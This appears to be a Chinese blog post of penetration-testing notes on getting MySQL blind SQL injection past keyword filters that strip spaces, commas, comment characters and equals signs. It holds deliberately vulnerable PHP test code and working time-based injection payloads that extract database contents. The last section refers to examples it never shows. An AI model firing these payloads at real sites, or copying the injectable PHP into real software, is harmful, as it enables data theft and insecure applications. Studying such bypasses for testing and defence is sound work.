mysql盲注绕过关键字过滤常用技巧

在我们渗透过程中,经常遇到如同空格,逗号之类被过滤的情况。

 

1、空格被过滤

我们可以通过/**/、括号、%0a等控制字符来绕过。

测试代码如下:

<?php 
    $coon=@mysql_connect("localhost", "root", "");
    mysql_select_db("test");
    $id = str_replace(' ','',$_GET['id']);
    $sql = "select password from users where id = '$id'";
    echo $sql."<br/>";
    $result=mysql_query($sql);
    while($ro=mysql_fetch_assoc($result)){
        $row[] = $ro;
    }
    print_r($row);
?>

@/**/代替空格(/*!50000select*/这种形式里面的select也会执行,里面的数字和mysql版本有关)

@%0a代替空格

@括号代替空格(注意是把单独可执行成功的子句括起来)

2、逗号、注释符被过滤

当逗号被过滤时,像我们在注入是很多函数都不好使了。但是还是可以通过一些技巧来绕过,如括号、SELECT CASE WHEN来构造盲注等。

另外当注释符被过滤时,当通过浏览器传入参数构造的sql语句在执行时遇到 ` 会把后面的注释,这就可以绕过后面 ' 之类的限制了。

测试代码

<?php 
    $coon=@mysql_connect("localhost", "root", "");
    mysql_select_db("test");
  $id = str_replace(',','',$_GET['id']);
$id = str_replace('#','',$_GET['id']); $id = str_replace('%23','',$_GET['id']); $id = str_replace('-- ','',$_GET['id']); $sql = "select password from users where id = '$id'"; echo $sql."<br/>"; $result=mysql_query($sql); while($ro=mysql_fetch_assoc($result)){ $row[] = $ro; } print_r($row); ?>

@括号来绕过

2' or sleep(ord(mid((select(flag)from(flag))from(1)for(1)))>0) and '1'='1

@SELECT CASE WHEN绕过

这个也就是:select case when (条件) then 代码1 else 代码 2 end 语句的使用

2' or  (SELECT * FROM (SELECT(case when ((select count(flag) from flag)>0) then sleep(2) else sleep(0) end))lzRG) and '1'='1

当然,对于过滤逗号,还有很多其他的技巧过,如:

>select substring((select user()) from -1);

>select * from  ( (select user())a JOIN  (select version())b );

3、limit中逗号被过滤

有时候,我们需要的是结果是需要加limit m,n形式限制的,其中m是指记录开始的index,从0开始,表示第一条记录,n是指从第m+1条开始,取n条。这时候就需要采用可以采用offset来绕过。

测试代码:

<?php 
	$coon=@mysql_connect("localhost", "root", "");
	mysql_select_db("test");
	$id=str_replace(',','',$_GET['id']);
	$sql = "select password from users where id = '$id'";
	echo $sql."<br/>";
	$result=mysql_query($sql);
	if(mysql_num_rows($result) == 1){
		$row = mysql_fetch_assoc($result);
		if ($row['password'] == $_GET['pass']) echo 'successed!!';
	}
?>

 

这里用到的是offset属性,在mysql中运行如下:

mysql> select password from users where id = '' or 1 group by password with roll
up;
+----------------------+
| password             |
+----------------------+
| 0                    |
| 123                  |
| 123456               |
| 21232f297a57a5a74389 |
| NULL                 |
+----------------------+
5 rows in set (0.00 sec)

mysql> select password from users where id = '' or 1 group by password with roll
up limit 1 offset 4;
+----------+
| password |
+----------+
| NULL     |
+----------+
1 row in set (0.00 sec)

 另一种不需要limit的限制字段。当使用group by 字段时,字段条件为假,是会返回一条记录的,如下:

这样也相当于间接过了limit限制,但局限性在于无法单独去取后面的单条记录。、

 4、= ' 被过滤

等号被过滤,可以用 NULLIF(a,b) 去绕过,并且如果遇到了过滤了单引号,可以采用十六进制编码的方式绕过。举个例子:

当 if 里面的条件为真时,按照 id 排序,为假时按照 password 排序

但如果等号被过滤了,可以用 NULLIF(a,b) 来绕过,当 a 和 b 相等时,返回 NULL,按照 password 排序;否则返回 1,按照 id 排序

如果逗号也被过滤了,用十六进制编码

 

posted on 2016-09-12 03:36  镱鍚  阅读(1363)  评论(0)    收藏  举报

导航